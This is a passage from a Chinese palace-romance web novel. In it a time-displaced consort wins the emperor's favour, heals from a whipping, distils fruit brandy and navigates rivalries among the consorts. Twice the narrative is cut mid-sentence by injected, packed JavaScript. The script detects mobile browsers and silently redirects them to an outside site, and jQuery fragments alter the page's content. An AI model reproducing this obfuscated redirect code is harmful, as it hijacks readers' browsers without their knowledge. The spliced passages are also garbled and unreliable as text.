总之无论选择哪一种,和皇上处好关系总没错的。 沈知微思索着,将孔嬷嬷叫了过来。 午憩过后,柔答应来看沈知微,认认真真行了个礼,“答应柔氏见过沈常在,常在万福。” 沈知微后背有伤行动不便,忙招呼云雁扶柔答应起来,“妹妹这是做什么,怎么一日不见,反到生分了。” “该有的礼数还是要有的。”柔答应浅笑着,眼眸中波光流动,“姐姐的伤怎么样了?姐姐替我挡了那么道鞭子,我、我实在是寝食难安。” 沈知微宽慰道:“此事全为容氏的错,妹妹也是无辜受牵连,何苦为他人的错处伤怀呢。”说罢,她看向柔答应的伤处,“昨日妹妹也受了伤,可有传太医来看看?” 柔答应垂下眼眸,勉强笑了笑,“太医已经看过了,说并无大碍,将养两日便好了。” 二人互相关切了几句,一时竟也无话。 柔答应告辞后,沈知微沉默地趴在床上,总觉得她和柔答应的关系变得客气生分了。 昨夜她下意识地挡在柔答应身前,完全是出于本心,是情急之下最真实的选择。可朋友之间横着恩情,反而误了彼此的情分。这让沈知微不禁有些惆怅。 直到晚膳前,何忠顺传来消息,说皇上要来和沈常在一同用膳。沈知微这才垂死病中惊坐起,梳洗打扮之余,悄悄给给孔嬷嬷使眼色。 为了在后宫更好的生存,沈知微左思右想,决定从讨好皇上开始。她和皇上本就有一个“七日之约”,虽然误了一天,但今晚,她要向皇上展示后宫中最独特、最富有爱意的礼物。 沈知微顾不得背上的伤痛,让孔嬷嬷将先前做好的那几个 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殿内华灯流转,随着灯匣的转动,在屋顶和墙壁上投射出好看的七彩光束,室内生出几分暧昧与旖旎。 桓宸正觉得新奇,对面的窗柩上,“哗啦”一块幕布从天而降,“投影仪”轰然打开,绘制在薄纸上的画面被放大投射,在幕布上连续滚动。 桓宸惊诧地抬起眸,只见幕布上播放着桓宸与沈知微御花园相遇时的情形,知微像个小兔子般在花丛中采花,桓宸背挺得直直的全心批阅奏折,二人在殿中相见,桓宸抬手扣在知微的下巴上……其中描绘的诸多细节,只有当事人才清楚。最后的最后,画面定格在一簇盛开的香雪兰上,下方有一行小字: 愿得一心人,白首不相离。 殿内烛光亮起,桓宸沉浸其中,突然其来的光源让他下意识闭上了眼睛。 空气中飘来一阵清甜,又是那熟悉的香味…… 再睁开眼,只见沈知微捧着一束香雪兰来到桓宸面前,眉眼含春,动情地说道:“皇上,您曾经虽然不记得臣妾,可是臣妾却一直记得,皇上是臣妾的夫君。” 沈知微看起来有些失落,似是鼓足了勇气才又抬起首,“臣妾是见君一回顾,思君朝与暮*。不知皇上可否给臣妾一个机会,让臣妾和皇上相爱相知,白首不离。” 桓宸只觉心下空了一块,微张着口看向沈知微,半晌说不出话来。 殿内安静了一会儿,空气中似乎都在冒着粉红色的泡泡。桓宸想要严肃些,可却发现做不到,语气中颇有些无奈,“你可知这话,不该出自嫔妃之口。” “是臣妾僭越了,”沈知微垂下脑袋,以为桓宸不愿接受,不掩失落地道:“臣妾甘愿领罚。” 桓宸轻叹了口气,伸臂一揽,将沈知微抱坐在自己的腿上,用力吻上那瓣艳红的嘴唇,眼眸幽深,“好。” “那就罚你,好好爱朕。” 沈知微猛地抬头,眼睛亮亮的,“真的?” “真的。” 沈知微哂笑,俏皮地捧住桓宸的脸,“那接下来,皇上愿意陪臣妾吃‘烛光晚餐’吗?” 12. 嫉妒 沈知微慢慢退至殿门口,击掌两声,孔嬷嬷得信后,迅速带人将殿中一切收拾妥当。 黑布取下,皎洁的月光从窗柩透进来,轻柔地洒在殿中的每一个角落,先前的旖旎氛围悄然散去,平添了几分宁静。 桓宸心痒难耐。一向沉稳自持的他此时竟有些飘然。 他不得不承认,沈知微的花样确实不少,也确实让人新鲜。 他原本认为,沈知微美丽温婉,听话顺从,是标准的后妃模样;又一心爱他,率真可爱,实属后妃中至纯至善之人;谁曾想今日再见,还有些机敏和巧思在身上,能想出别人想不出的新鲜玩意儿,这倒是别有一番滋味。 桓宸淡淡地看向沈知微,好奇她接下来会做什么。 屏风撤去,食案上各式菜品已备齐全,沈知微牵着桓宸的手,面对面坐下。 桓宸眸中映出跳跃的烛光,扬了扬眉,“这些蜡烛是你安排的?” 沈知微露出甜甜的微笑,“在烛光下吃晚餐,更有氛围。”心想若非宫中入夜后禁止喧哗,她高低去南府请两个乐伎来弹奏两曲。 桓宸擦过手,点了点头。沈知微亲手盛一碗汤为桓宸奉上,时间仓促,餐食是从御膳房取来的,倒没有什么新奇之处,但胜在美人在侧,桓宸吃的倒也开怀。 只是沈知微属实累惨了。一顿饭下来耗费了大量的心力和体力,以至于最后餐食撤下时,沈知微险些站不住。 桓宸眼明手快,一把抱起沈知微,放在床榻上坐好,语气中不乏心疼,“明明自个儿身子还没好全,有些事情交给下人做就是了,何苦亲力亲为。” 语气虽软却透露了些嗔怪,沈知微心下一惊,悄悄抬头观察着桓宸的脸色,一时拿不准他的态度,暗暗揣度今日是否用力过猛了些。 她脸色苍白,忐忑地靠在桓宸怀里,“君子重诺,当初是臣要给皇上‘礼物’的,臣妾要做君子,不想留遗憾。” 她将脸更贴近些,颇有几分女儿家的撒娇:“臣妾又不是日日都能见到皇上,自然想将最好的展现给皇上,皇上可要怪罪?” 桓宸叹了口气,伸手抚在沈知微的背上,额头抵住沈知微的额头,无奈地一笑,“这是哪的话?你的心意朕的都知道,送朕的礼物朕很喜欢,朕还要带走呢!怎么会舍得怪罪你。” 沈知微羞赧地低下头,往桓宸的怀中缩了缩,不小心扯到后背上的伤口,“嘶——”的吃痛叫出了声。 桓宸动作一掷,注意到沈知微额头渗出的细密汗水,二话不说让沈知微趴在榻上,轻轻褪下沈知微的外衣查看伤情。 只见洁白的里衣上,已经渗出了几道刺目的血痕。待里衣褪去,背上的鞭痕更是血糊糊地裂开,爆裂出细微的血肉。 桓宸眉头紧蹙,沉着脸拿起案几上的药膏,一言不发为沈知微上药。 沈知微有些心虚,担心桓宸因她体貌有损不喜欢她了,也担心今夜所做一切功亏一篑,怯怯地出声试探,“皇上……” 桓宸沉声打断她,“往后一个月,必须卧床静养,朕会让太医每日来为你请平安脉,根据病情调整药材配比。你若是再不好好养伤,辜负朕的苦心,朕就……再也不来看你了。” “别!”沈知微眼眸幽怨,回首望着桓宸。 “这药膏是太医院秘方,除了能让伤口结痂、加速痊愈以外,更有去痕美肤的功效。前提是你要按时用药,能做到吗?” 不知是桓宸语气太凶,还是药膏涂在伤口上太疼,沈知微眼中含着泪,连连点头,“能做到!臣妾知错了……” 桓宸心下一软,为沈知微穿上里衣,抱着她侧身躺下。 二人贴的很近,沈知微甚至能感受到桓宸的气息打在她的脖颈上,又听见耳畔传来低哑的呢喃,“朕希望你快些好,你能明白吗?” 沈知微点点头,意识到背对着桓宸他看不到,出声说道:“明白……” 桓宸轻轻亲吻着沈知微的脸颊,“放心,朕会经常来看你的。” 沈知微脸颊一红。 接下来一个月,桓宸果真说到做到,一得空就来陪着沈知微。 白日里国事繁忙,桓宸通常是晚上过来,和沈知微一起用晚膳,亲手为沈知微上药,然后一起和衣而睡…… 沈知微没过多久便发觉,一男一女共处一室,什么都不做未免尴尬。再加上桓宸每次看她的目光太过赤裸,沈知微决定做点什么,转移彼此的注意力。 于是乎,沈氏睡前故事开讲了。 沈知微绞尽脑汁,总算从记忆深处搜罗出青春期看的恐怖小说和成年后在电影院看的几部恐怖电影,改编成古代背景的开始躲在被窝里给桓宸讲。 但由于沈大美人实在是胆小,以及改编时想象力过于丰富,每每讲到高潮时,就将头蒙在被子里,身体瑟瑟发抖,高呼“不讲了不讲了!” 惹得桓宸哈哈大笑。 * 一晃一个月过去,沈知微身上的伤疤近乎痊愈。 这一个月可将沈知微憋坏了。沈知微用过早膳后,特地换上一身鹅黄色的镂花石榴裙,眉心画着好看的花钿,准备出门给自己找些事情做。 因为娴贵人先前的事,香水是卖不成了,但也得想些别的法子来致富。 沈知微养伤时便想好,决定去果园挑选些果子来做果酒,待到端午时给大家尝尝,若是嫔妃喜欢她可以开放订购;若是皇上喜欢,那她就将配方卖给御酒坊,挣他个一大笔。 为着这个事,前日晚上沈知微特地求了桓宸,给她开放宫中四大园的自由出入权。桓宸挑了挑眉,应允了。 闲月宫在皇宫西北角,果园在东北方,沈知微要去果园,必然穿过位于两地之间的湖心亭。 好巧不巧,沈知微经过时,湖心亭中竟有人在。 沈知微看到亭中的三人,思索着上前行礼,“嫔妾常在沈氏,见过海贵人、佟佳贵人、魏常在。” 魏常在原本就是站着,看到沈知微行礼,也堪堪福下身,“见过沈常在。” 佟佳贵人低眉觑着沈知微,看清容貌后更是不爽,“切”了一声,将头扭了回去 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佟佳贵人自幼成长在草原,性情中带着马背上民族的豪爽,说话也没那么多弯弯绕绕。再加上家世不俗,往上数五代跟皇上共用一个祖先,选秀时也是一举被封为了贵人,故而骨子里带着天之骄子的傲气和自命不凡的嚣张,说话向来无所顾忌。 沈知微本身跟佟佳贵人没过节,犯不着跟她起口舌之争,一笑了之,“贵人教训的是,是嫔妾思量不周。” 见对方是个软柿子,佟佳贵人突然没了找沈知微麻烦的兴致,扬了扬手,示意侍奉在侧的魏答应添茶,拿起桌上的荷花酥细细品着,就当没有沈知微这个人。 海贵人看了眼刚才沈知微前行的方向,好奇地问:“妹妹这是准备去哪里?” 海贵人是典型的江南美人,一席水蓝色的宫装衬得她温婉多情,连声音都是软软糯糯的。入宫时本是常在,被皇上宠爱过一阵后,封为了贵人。 沈知微如实告知。 没想到这么一说,海贵人倒是奇了,“这果园平日里都是关着的,向内廷司报备后才能出入,里面的果子更是不能私自摘取的,妹妹怎会想去果园呢?” 佟佳贵人轻蔑地一嗤,扬起的声音格外刺耳,“还能为什么,小门小户出来的,不懂规矩呗。” 沈知微脸色发白,心里有些生气,如实道:“前日皇上已应允臣妾,可自由出入果园,里面的果子任由臣妾摘取。” 海贵人点了点头,讷讷地说:“原来是这样啊。” 佟佳贵人脸色黑沉,将手中的糕点往盘中一掷,起身走到沈知微面前,语气中不乏警告,“沈答应真是好手腕,但愿你以后,也能这么得意。” 放完话,撇了眼身后的海贵人,“走了!跟她费什么话。” 海贵人讪讪一笑,跟沈知微点头示意后,随着佟佳贵人身后离开了。 沈知微舒了口气,看向亭中落单的魏答应,侧身示意。 魏答应连忙摆手,小声道:“我不是跟她们一起的。” 魏答应表情有些无奈,“我本在亭中观景,后来佟佳贵人和海贵人来了,便叫我在一旁侍茶。” 沈知微了然,不再多问,和魏答应告辞后,转身往果园的方向去。 13. 果酒 没走多久,沈知微只觉左耳一轻,抬手覆在耳垂上,发现她的红宝石耳铛掉了。 这耳档是皇上前日刚赏的,若是丢了怕会引起不必要的误会,沈知微只好原路返回去找。 沿路细细搜寻,在湖心亭附近的树杈旁,发现了那支掉落的红宝石耳铛。 色泽光亮,没有损坏,沈知微放下心来,拾起耳铛准备起身。在抬眸的一刹那,余光瞥见湖心亭中有人影晃过。 是魏常在。 “……” 沈知微感到头痛。她对后宫中那些虚情假意的社交多少有些厌烦,更何况先前和佟佳贵人、海贵人、魏常在的相遇并不愉快,于是顺势躲在灌木丛后,想悄悄离开。 可就在转身时,沈知微停住了脚步,没由得升起一阵好奇心—— 佟佳贵人、海贵人都走了,魏答应留在这里做什么呢? 沈知微的好奇心熊熊燃烧,透过稀疏的树叶,窥探着湖心亭中魏常在单薄的身影。 只见魏常在坐在原本佟佳贵人做的位置,拿起石桌上的茶点,大快朵颐了起来。 吃到尽兴时,还不忘将点心分给身后的侍女。 “你也尝尝,这荷花酥原料难得,制作手法还特别复杂,在别处可吃不到呢。今天算是蹭了佟佳贵人的光。” “不对,”魏常在用指腹抹过嘴角的碎屑,语气中有种肆意的张扬,“应该说是沾了沈常在的光。若不是沈常在气走了佟佳贵人,我们可没机会在这品尝荷花酥。” 侍女颇有些无奈,“小主怎么跟个小孩子似的,一块点心就能这般高兴。” 侍女给魏常在斟了杯茶,余光不忘打量四周,“还是吃快些好,若是被旁人看到了,恐怕是会被笑话的。” 魏常在“切”了一声,口中塞的点心太多让她的声音有些含混不清,“免费的点心不吃白不吃,旁人笑话两句又不会少我二两肉。但吃不饱我可真的会掉肉的!” “这后宫中大大小小的是非不断,我若是在意旁人的眼光,岂不是早就把自己气死了。” …… 魏常在主仆二人热切地聊着,沈知微有些惊奇,这后宫中竟然能养育出如此肆意洒脱的女子。可她刚才在佟佳贵人面前,明明又是一副唯唯诺诺的模样…… 人,可以这么多面吗? 沈知微心中暗暗诧异,但又不忍打扰到对方,便悄悄地离开了灌木丛,往果园的方向去。 正是三四月交接之际,果园里一副枝繁叶茂的景象。嫩绿的叶子在枝头舒展,桃花、杏花、梨花等相继绽放,桃树、樱桃等果树也在孕育花蕾,即将迎来花期。 良辰美景,沈知微抛去杂念穿梭其中,寻找适宜做果酒的果实。 果园里有成熟的草莓、苹果和柑橘,冷库里储存有雪梨,还有才从琼州运来的芒果、香蕉。 来之前沈知微已经想好,她决定复刻曾经在诺曼底地区品尝过的苹果白兰地,名叫卡尔瓦多斯。它是一款以苹果为原材料的蒸馏酒。喝起来香气浓郁,口感醇厚,并且酒精的刺激感不会太强烈,对于初次尝试的人来说比较容易接受。 卡尔瓦多斯将会成为她本次宣传的主打酒,同时她打算再制作一款梨子白兰地,以甜梨为原材料,制作方法与卡尔瓦多斯大体相同。 有了目标,沈知微直奔自己的目的地,往苹果树、梨树的种植区域去。 因得了皇上的许可,不待沈知微开口,便有三五个小太监主动迎了上来,问沈知微是否需要帮忙。 沈知微并不推脱,指挥着小太监们采摘成熟度高、无病虫害的苹果和梨,直到摘够满满五大筐,这才停下手。本着来都来了的原则,沈知微将其他品类已经成熟的水果,同样摘了些去,并给了干活的小太监们每人一锭银子,酬谢他们今日辛劳。 待指挥着小太监们将这几筐水果运回闲月宫,已经到了黄昏时分。 沈知微走之前,特地交待云雁和孔嬷嬷不必跟着,要她们留在宫中将小厨房重新收拾一遍,将从前制作香水的蒸馏器拿出来,还要到内务府营造司取些橡木,委托专人打造成用于酿造的橡木桶。 沈知微再一次发现,自从她得宠以后,她想要的任何东西会迅速、妥善的出现在她眼前,这种久违的令出必行令她感到格外痛快。 晚膳过后,沈知微给大家各自分配了任务。由于这次水果数量实在是庞大,她们用了将近一个星期,才将这些水果碾碎成泥和挤压榨汁。 将榨好的苹果汁放入木桶中,利用自然酵母进行发酵,直到苹果汁表面不再有明显气泡产生,且汁液变得相对澄清,散发出浓郁的酒香和果香,并且“浮子”呈现漂浮状态时,说明苹果汁已经发酵完成了。 接下来,曾经制作香水用的蒸馏器派上用场。将发酵好的苹果酒放入蒸馏器中蒸馏,反复多次用以提高酒精度,最后将蒸馏好的酒液放入橡木桶中陈酿,让苹果酒在相对稳定的温度和湿度环境下慢慢成熟,融入橡木的风味,使酒的香气更加丰富,口感更加醇厚。 再用同样的方法,制作梨子白兰地。 最后五大筐水果,变成了地窖里的两个小小的橡木桶。 沈知微做完最后一步,已经累到手都抬不起来了。 桓宸中间有一日来看她,沈知微却是欲盖弥彰,不向桓宸透露太多,她想最后做好后再呈现,而非是半途中揭露。 桓宸知道她巧思多,倒也不催促,像往日一样关心着沈知微的伤情,嘱咐她即使在兴头上不要太劳累。这些拳拳心意有时让沈知微都有些恍惚,感觉他们的相处模式既像是陷入热恋的情人,又像是相濡以沫陪伴多年的老夫老妻。 从果园回来那日,在处理带回来的水果时,沈知微突然想起了先前湖心亭中的魏答应,于是向身边的孔嬷嬷问起。 “嬷嬷,你常在宫中走动,可知永福宫的魏常在,是个什么来历?” “魏常在?”被沈知微冷不伶仃一提,孔嬷嬷愣了一瞬,思索着回道:“魏常在本是宫女,后来得了皇上的青眼,一路从官女子晋升到了常在。说起来,她是宫中唯一一个从宫女变为主子的女子呢。” “这样啊,”沈知微喃喃,“魏常在性子如何呢?” “魏常在是出了名的性情温良脾气软,对上恭敬顺从,对下也是礼貌有加,平日里从未与人产生不快。即使是被旁人找寻麻烦,她也是率先低头认错的那一个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407259|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈知微抓住关键,探究道:“找麻烦?谁会找她的麻烦呢?” 孔嬷嬷面露难色,有些支支吾吾:“魏常在和佟佳贵人、海贵人同住芷萝宫,海贵人倒还好,待人都是和和气气的,只是佟佳贵人素来娇贵,自恃出身大族,不把出身低微的答应、常在看在眼里,更何况是魏常在这种宫女出身的呢。” “但芷萝宫当值的桂嬷嬷曾偷偷告诉我,佟佳贵人经常使唤魏常在做些下人才会做的活计……挺磋磨人的,但魏常在也真是好脾气,通通都忍了。” “原来如此……”沈知微点了点头,又想到湖心亭中,魏常在大口吃着旁人剩下的点心,心中多少有些不忍,于是吩咐孔嬷嬷将她带回来的水果,挑一些好的给魏常在送去。 可转念一想,若是她只给魏常在送,没有给佟佳贵人送,怕是会平白无故引起佟佳贵人的猜疑,反而牵连到魏答应。 沈知微干脆大手一挥,令孔嬷嬷将新采摘的水果挑选出三份,全都送到永福宫去,给佟佳贵人、海贵人、魏常在各一份,就当是今日的见面礼。 * 永福宫内,佟佳贵人将一篮水果“哗”地一下全扫到地上,骄矜的脸上此时横眉冷对。 “皇上不过宠她几日,给了她随意进出四大园的权利,她瞎显摆什么!还巴巴地送水果来,成心在我面前炫耀不是!” 海贵人坐在一旁,观察佟佳贵人的脸色,小心翼翼地劝诫:“想来是因为沈常在去果园时恰巧被我们遇到,这才送了这些水果来,应该没有别的意思……” 佟佳贵人瞪了她一眼,对这个回答颇不满意。“这后宫中,哪有那么多应该、巧合、意外,分明就是故意的。听宫人说沈常在还给魏氏送了水果去,哼,现在连宫女都能和我的吃穿用度一样了,这不是成心打我的脸吗!” 海贵人沉默不语。每每面对佟佳贵人时,只觉得身心疲惫。 魏氏到底是皇上下旨晋封的常在,佟佳贵人偏偏一口一个宫女,也不知打的到底是谁的脸。 仗着家族荣耀在宫中横行霸道,欺负魏常在这样没有背景的地位嫔妃,却又对荣妃百般谄媚,若要说丢脸,明明是她佟佳氏最为丢脸。 海贵人不止一次在内心质问苍天,为什么要将她和佟佳贵人分到一宫!佟佳贵人赶又赶不走,她势单力孤跑又跑不掉,每天都要看佟佳贵人发癫,还要听她抱怨有的没的,不附和佟佳贵人不依不饶,附和了精神遭到重创,实属□□和灵魂的双重打击。 佟佳贵人又是个不会在意别人情绪的,永远沉溺在自己的精神世界:“都是贱坯子,魏常在好歹算听话,我说东她绝对不敢往西,可那个沈常在,一看就是个狐媚子,先前的容氏,不就是在她那里吃了亏吗?” 她气得咬牙切齿,“她安守本分就罢了,若是再干今日这样的蠢事,我一定好好教她做人!” 海贵人将目光撇到别处,一言不发。心中却隐隐冒出了一种期待:若是沈常在和佟佳贵人针锋相对,最终会谁鹿死谁手…… 她乐得见佟佳贵人对沈常在出手,最好能激起沈常在的反击,这样她便有机会将佟佳贵人赶出永福宫,将头顶的阴瘴彻底清除。 14. 春猎 午后,弦月阁。 “小主,这件寝衣您做了半个多月,这几日更是连午憩都省了,这样熬下去,身体怕是守不住。”侍女莺儿侍奉在一旁,面露不忍。 柔答应淡然地一笑,手中的针线未曾停下来。 “我有分寸。”柔答应端详着寝衣上绣制的图案,认真道:“姐姐当初是替我挡鞭才加重了伤情,我想了许久要送什么给姐姐,才能减少些我的愧疚。想来伤口结痂时是最刮不得碰不得的,所以料子上乘、做工良好的寝衣最合适。” 莺儿撇了撇嘴,“为了买这个料子,小主可是花了三个月的月例呢,值得吗……” 柔答应淡然一笑,继续手中的针线活,并未理会。 莺儿越说越上头:“明明小主也受伤了,沈常在却不来看望小主一次。而且,沈常在受皇上宠爱,她若是真心把小主当好友,怎么不劝劝皇上来看望下小主呢。” 柔答应的笑容在脸上凝固,冰冷的视线看向莺儿,莺儿心中一惊,霎时闭上了嘴。 柔答应沉声,面露不悦:“姐姐身负重伤,其中有些伤还是替我挨的,我但凡有点良心,就不会要求姐姐拖着病体来看我。说这种搬弄是非的话,让人听去了,岂不是要戳我的脊梁骨。” “至于皇上,我受伤时,皇上看都不曾看我一眼,他来与不来,又有何意义?”恐怕是早忘了宫中有她这号人。 莺儿愤愤地垂下头,羞红了脸。 “奴婢只是关心小主……沈答应原先还不如小主呢,得了皇上的青眼才有现在的风光,奴婢、奴婢只是想要小主也过得好些。” 柔答应垂下眼睫,无声地叹了口气。 她倒是想争,可怎么争? 皇上就一颗心,喜欢就是喜欢,不喜欢看都不看一眼。身为后宫嫔妃,就算耍尽心机和手腕又如何,表现好了不过是吸引皇上一时的兴趣,过不了多久还是要被冷落丢弃;但凡出了岔子,得到的便是雷霆之怒,容氏就是最好的例子。 沈知微突然得宠,柔答应起初是有些惊讶的,惊讶过后还会嫉妒,嫉妒沈知微为何这么轻而易举地得到了皇上的青睐。 可嫉妒过后呢?柔答应想了半个月,也曾在皇上来闲月宫时在门口“偶遇”行礼,可皇上看她一眼都没有,柔答应便释然了。 皇上的心不在她身上,她争也没有用。更何况,为了一个不爱她的男人,在后宫中无休止的争斗,抛去礼义廉耻去陷害他人,一点都不值得。 她现在只想在宫中安稳度日,能有一两个值得信任的人平时说说话互相关照,已是万分奢侈。 在柔答应心中,沈知微就是那个值得信任的人。 只是她这样想,跟在她身边的侍女宫人们恐怕不会这样想。 感觉到莺儿探究的目光还落在自己身上,柔答应敛起双眸,试图藏起内心的真实想法:“身为后宫嫔妃,侍奉皇上是妃嫔本分。我再不济,也不敢忤逆皇上。” 莺儿这才松了口气。 柔答应继续说道:“只是我和沈姐姐同住一宫,若是能互相帮扶是最好不过了。毕竟来日方长,多一个朋友总比多一个敌人好。以后不要再说有伤我和姐姐和睦的话了。” 莺儿唯唯应“是”。不再多说什么。 柔答应垂首,继续摆弄手中的针线。 日照西斜,窗外的阳光撒了进来,伴随着轻快且有规律的脚步声。 “柔答应在吗?冒昧来访,不知可有打扰。” 窗外传来熟悉的声音,柔答应手中的动作一滞,仰起头来,眼眸亮闪闪的。 “是姐姐来了吗?姐姐快请进。”说着,放下手中的针线,起身开门迎了上去。 “午后闲来无事,想着来找妹妹说会儿闲话。再加上前几日得了些新鲜水果,想着给妹妹拿些过来。”沈知微含着笑,侧身示意云雁将水果放下。 柔答应让莺二儿接过,看到果篮里的芒果颇有些惊讶。芒果产自琼州,从南到北运来耗费的车马人工费用高昂,寻常嫔妃是根本吃不到芒果的。 “难为姐姐还记得我。”她为沈知微倒了杯茶,“这些水果,是皇上赏的?” 沈知微点点头,瞬间又摇了摇头,语气中不乏兴奋,“是,也不是。皇上给了我进出果园的权限,我自己去果园摘的,芒果是从冰窖中现取的。妹妹放心享用便是。” 柔答应微张着嘴,目光落在沈知微的身上,“果园里闲月宫可不近,姐姐的伤……可好了?” 沈知微摆了摆手,轻松道:“已经好的差不多了。我还用果园摘回来的果子,亲手做了些果酒呢。待果酒陈酿好后,就拿来给妹妹尝尝。” 柔答应舒了口气,“那可真是菩萨保佑,我悬着的心总算能放下了。” “姐姐向来手艺出众,做出的果酒一定好喝。话说回来,我也有礼物要送给姐姐呢。” 说着她转身走到床榻边,拿起即将绣完的寝衣,“我想着姐姐后背有伤,寻常的料子怕是不利于恢复。所以特地寻了匹天蚕丝的料子来,又亲手在上面绣上了花样,想要送给姐姐,让姐姐晚上安寝时睡得舒服些。” “让我看看,”沈知微伸手接过,“真是不错。可这天蚕丝最是难得,妹妹未免太破费了……” 话还没说完,便被柔答应接过,“我一直想要回报姐姐,可苦于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411959|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知如何是好,还望姐姐不要嫌弃我手艺粗笨,收下才好。” “罢了罢了,你我姐妹何苦说这么生分的话。妹妹的心意我收下了,”沈知微拍了拍桌案上的水果,“我带来的,妹妹也别推却。你我姐妹同住一宫,互相照拂本就应该的。” 二人畅聊着,原先的生分总算拉进了些。这后宫中能聊得来、平时愿意互相关照帮忙的人可遇不可求,对于她们二人来说,都不愿失去彼此这个朋友。 直到太阳落山,何忠顺到闲月宫来传皇上口谕,说晚上回到半月轩用膳。沈知微这才止住话头,和柔答应匆匆告辞,回寝殿准备晚膳。 餐案旁,桓宸听到沈知微说将采摘回来的五大筐水果几乎全部做成了果酒,无奈地摇了摇头。 “朕看你是一点都闲不住。既然有精力,不如跟我一同去南苑春猎吧。” “春猎?!”沈知微兴奋地扬起了尾音,很快又意识到这样不够温婉,又将音调垂了下去,软糯糯地说道:“臣妾身为后宫嫔妃,也可以去吗?” 桓宸看在眼里,压下嘴角的笑意,“无妨。往年也会带上擅长骑射的后宫嫔妃,骁勇的妃嫔在猎场上,未必比男儿差。” “可是我不会哎,去了不会给皇上添麻烦吧?”说罢,沈知微托着下巴,目露期待地看向桓宸,满眼都在说“带我去带我去~” 桓宸有意逗她,故做严肃道:“这样啊,那就不带你去了?” “皇上!”沈知微一声娇嗔,扭着腰肢走到桓宸身旁,勾住他的脖子,“臣妾不会,皇上可以教我的嘛。您都不知道,这些日子在宫中养伤,我都快闷死了。再在宫里待下去,我就要薅完御花园所有的花,摘走果园所有的果,负重五公斤绕着皇宫踢正步了!” 似是被这离谱的形容逗趣到,亦或是沈知微描述的画面感太强烈,桓宸捧腹乐得不行。 沈知微在桓宸的脸上轻轻落下一个吻,“我保证乖巧听话,绝不让皇上烦忧。” 桓宸点点头。突然脑海中灵光一闪,错开了点距离,凝视着沈知微深邃的眼眸。 “你的伤、是不是好了?” “额,这个……”沈知微忽然正色,脸上浮现一层绯红,“已经结痂了,皇上赐的药膏很管用,太医也日日来请脉,想来过些时日,就能恢复如初了。” 桓宸温柔地注视着沈知微,似乎很欣赏她这幅正经中隐藏着跳脱、惊慌中略显失态的样子,像只受惊的小兔。 桓宸隐匿已久的顽劣之心似乎被唤醒,粗暴地将沈知微拉入怀中,头埋进她的颈窝处,张口轻轻一咬。 “那就好。” 沈知微身形一颤。 15. 小闹 “小主,您慢点儿,万一被人发现可就完了!”云雁紧跟在沈知微后面,焦急地呼喊。 沈知微放慢了脚步,从地上抱起刚才追了一路的野兔,“怕什么,皇上带我来南苑,不就是让我来玩的嘛。” 云雁终于站定在沈知微面前,叉着腰粗喘着气。 皇上是带着近臣和宫妃来南苑春猎不假,可沈知微午宴过后就待不住了,拉着云雁在营地附近闲逛。云雁回营帐取件披帛的功夫,沈知微便往林中深处走去了,给云雁吓得惊出一身冷汗。 “小主,真的不能再往前走了。前面就是猎场,皇上正带着王公大臣在林中狩猎,若是贸然闯入被当成刺客,可就、可就……”云雁深吸一口气,那句“可就万箭穿心死不瞑目”终究还是没说出口。 云雁近日常常在想,或许是人经历大病一场后都会脱胎换骨,小主先是从风寒侵体中苏醒,后又从娴贵人近乎狠毒的鞭打中痊愈,以至于触底反弹,从内到外都焕发出了全新的面貌。性格越发聪敏和跳脱,能做出许多从前见都没见过的东西。最重要的是,还凭借这股巧劲儿,赢得了皇上的宠爱,让半月轩上下都受其恩泽。这一点,云雁是非常敬佩和感激的。 可是,在感激之外,云雁心中隐隐浮现出另一种情绪——畏惧。 小主的想法、她想做的事,越来越危险,越来越难以捉摸。虽然回报肉眼可见变得丰厚,但每一件都让人心生胆寒,走错一步都将万劫不复。如同在悬崖上走钢丝,只为摘得山顶那朵世间罕有的花。 小主的这般性格皇上似乎很喜欢,可万一有一天触犯了皇上的逆鳞,惹下雷霆之怒…… 云雁牙关颤了颤,不敢再想。 沈知微看云雁一副煞有介事的模样,只当她不愿再往里走。她并非不听劝诫之人,抬手轻抚着野兔身上灰绒绒的毛,抬步往营地方向去,“兔子抓到了,我们回去吧。” 云雁长松一口气。 返程途中,沈知微低头探寻,想找些野菜叶来喂兔子。一抬眸,正好撞入一双真切的眼睛中。 “魏常在?”沈知微奇道。在她的印象中,魏常在实属不是四处乱走动的人。 魏常在似乎也并未预见会在此时遇见人,短暂的怔住过后,和沈知微互相见了礼。 有着先前赠送鲜果的交情,魏常在对沈知微颇有好感。毕竟只要不是脑子有问题,没有人会对别人释放的善意大发雷霆。再加上她们二人位分相当,又都是出身贫寒因获皇上宠爱才有今日——虽然沈知微的家世比她好很多,但沈知微这个人,她是很乐意结交的。 魏常在率先起话头,“在帐中久坐无聊,我出来走走。没想到真让我发现了好东西。” 魏常在将手中的“野草”展示给沈知微看,“这个是野菜,名字叫做马兰头,可以凉拌食用,我幼时在家乡常吃的。” “这种叶片多的,叫做荠菜,还有这种有香味的叶片,名字叫香椿……这些都是可以吃的。” 沈知微盯着她的手细细观察,这些“野草”她有的见过,有的没见过,但显然没有魏常在对此道熟练。再加上柔答应说起话来如同夏日海边带着阳光的海风,让人忍不住逗趣。 沈知微眼睫动了动,眉眼上挑,半晌试探地开口问道:“好吃吗?” 